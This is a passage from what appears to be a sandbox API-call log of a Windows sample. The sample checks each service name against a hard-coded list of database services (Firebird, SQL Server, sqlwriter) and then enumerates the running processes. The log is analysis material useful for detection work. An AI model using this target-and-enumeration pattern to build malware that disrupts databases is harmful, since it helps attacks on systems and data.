	[0156.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0156.144] lstrlenW (lpString="KeyIso") returned 6
	[0156.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0156.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0156.144] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0156.144] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0156.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0156.144] lstrlenW (lpString="LanmanServer") returned 12
	[0156.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0156.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0156.144] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0156.144] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0156.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0156.145] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0156.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0156.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0156.145] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0156.145] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0156.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0156.145] lstrlenW (lpString="lfsvc") returned 5
	[0156.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0156.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0156.145] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0156.145] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0156.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0156.145] lstrlenW (lpString="lmhosts") returned 7
	[0156.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0156.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0156.145] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0156.146] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0156.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0156.146] lstrlenW (lpString="LSM") returned 3
	[0156.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0156.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0156.146] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0156.146] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0156.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0156.146] lstrlenW (lpString="MpsSvc") returned 6
	[0156.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0156.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0156.146] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0156.146] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0156.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0156.146] lstrlenW (lpString="NcbService") returned 10
	[0156.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0156.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0156.147] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0156.147] lstrlenW (lpString="netprofm") returned 8
	[0156.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0156.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0156.147] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0156.147] lstrlenW (lpString="NgcSvc") returned 6
	[0156.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0156.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0156.147] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0156.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0156.147] lstrlenW (lpString="NlaSvc") returned 6
	[0156.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0156.148] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0156.148] lstrlenW (lpString="nsi") returned 3
	[0156.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0156.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0156.148] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0156.148] lstrlenW (lpString="PcaSvc") returned 6
	[0156.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0156.148] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0156.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0156.149] lstrlenW (lpString="PlugPlay") returned 8
	[0156.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0156.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0156.149] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0156.149] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0156.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0156.149] lstrlenW (lpString="Power") returned 5
	[0156.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0156.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0156.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0156.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0156.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0156.149] lstrlenW (lpString="ProfSvc") returned 7
	[0156.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0156.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0156.187] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0156.187] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0156.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0156.187] lstrlenW (lpString="RpcEptMapper") returned 12
	[0156.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0156.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0156.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0156.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0156.188] lstrlenW (lpString="RpcSs") returned 5
	[0156.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0156.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0156.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0156.188] lstrlenW (lpString="SamSs") returned 5
	[0156.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0156.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0156.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0156.188] lstrlenW (lpString="Schedule") returned 8
	[0156.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0156.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0156.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0156.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0156.189] lstrlenW (lpString="SecurityHealthService") returned 21
	[0156.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0156.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0156.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0156.189] lstrlenW (lpString="SENS") returned 4
	[0156.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0156.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0156.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0156.189] lstrlenW (lpString="ShellHWDetection") returned 16
	[0156.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0156.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0156.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0156.190] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0156.190] lstrlenW (lpString="Spooler") returned 7
	[0156.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0156.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0156.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0156.190] lstrlenW (lpString="StateRepository") returned 15
	[0156.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0156.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0156.190] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0156.190] lstrlenW (lpString="SysMain") returned 7
	[0156.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0156.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0156.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0156.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0156.191] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0156.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0156.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0156.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0156.191] lstrlenW (lpString="Themes") returned 6
	[0156.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0156.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0156.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0156.191] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0156.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0156.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0156.191] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0156.192] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0156.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4640fc8 | out: hHeap=0x4f0000) returned 1
	[0156.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c
	[0156.199] Process32FirstW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0156.200] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0156.202] lstrlenW (lpString="System") returned 6
	[0156.202] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0156.203] lstrlenW (lpString="smss.exe") returned 8
	[0156.203] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0156.204] lstrlenW (lpString="csrss.exe") returned 9
	[0156.205] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0156.206] lstrlenW (lpString="wininit.exe") returned 11
	[0156.206] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0156.207] lstrlenW (lpString="csrss.exe") returned 9
	[0156.208] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0156.209] lstrlenW (lpString="winlogon.exe") returned 12
	[0156.209] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0156.210] lstrlenW (lpString="services.exe") returned 12
	[0156.210] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0156.212] lstrlenW (lpString="lsass.exe") returned 9
	[0156.212] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0156.213] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0156.213] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0156.214] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0156.215] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.216] lstrlenW (lpString="svchost.exe") returned 11
	[0156.216] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.217] lstrlenW (lpString="svchost.exe") returned 11
	[0156.217] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0156.218] lstrlenW (lpString="dwm.exe") returned 7
	[0156.218] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.221] lstrlenW (lpString="svchost.exe") returned 11
	[0156.222] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.223] lstrlenW (lpString="svchost.exe") returned 11
	[0156.223] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.224] lstrlenW (lpString="svchost.exe") returned 11
	[0156.224] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.226] lstrlenW (lpString="svchost.exe") returned 11
	[0156.226] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.227] lstrlenW (lpString="svchost.exe") returned 11
	[0156.227] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.228] lstrlenW (lpString="svchost.exe") returned 11
	[0156.228] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.240] lstrlenW (lpString="svchost.exe") returned 11
	[0156.241] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.242] lstrlenW (lpString="svchost.exe") returned 11
	[0156.242] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.244] lstrlenW (lpString="svchost.exe") returned 11
	[0156.244] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.245] lstrlenW (lpString="svchost.exe") returned 11
	[0156.245] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0156.246] lstrlenW (lpString="spoolsv.exe") returned 11
	[0156.246] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.247] lstrlenW (lpString="svchost.exe") returned 11
	[0156.247] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0156.249] lstrlenW (lpString="audiodg.exe") returned 11
	[0156.249] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0156.250] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0156.250] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0156.251] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0156.251] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0156.253] lstrlenW (lpString="sihost.exe") returned 10
	[0156.253] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0156.254] lstrlenW (lpString="Memory Compression") returned 18
	[0156.254] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.255] lstrlenW (lpString="svchost.exe") returned 11
	[0156.256] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0156.257] lstrlenW (lpString="taskhostw.exe") returned 13
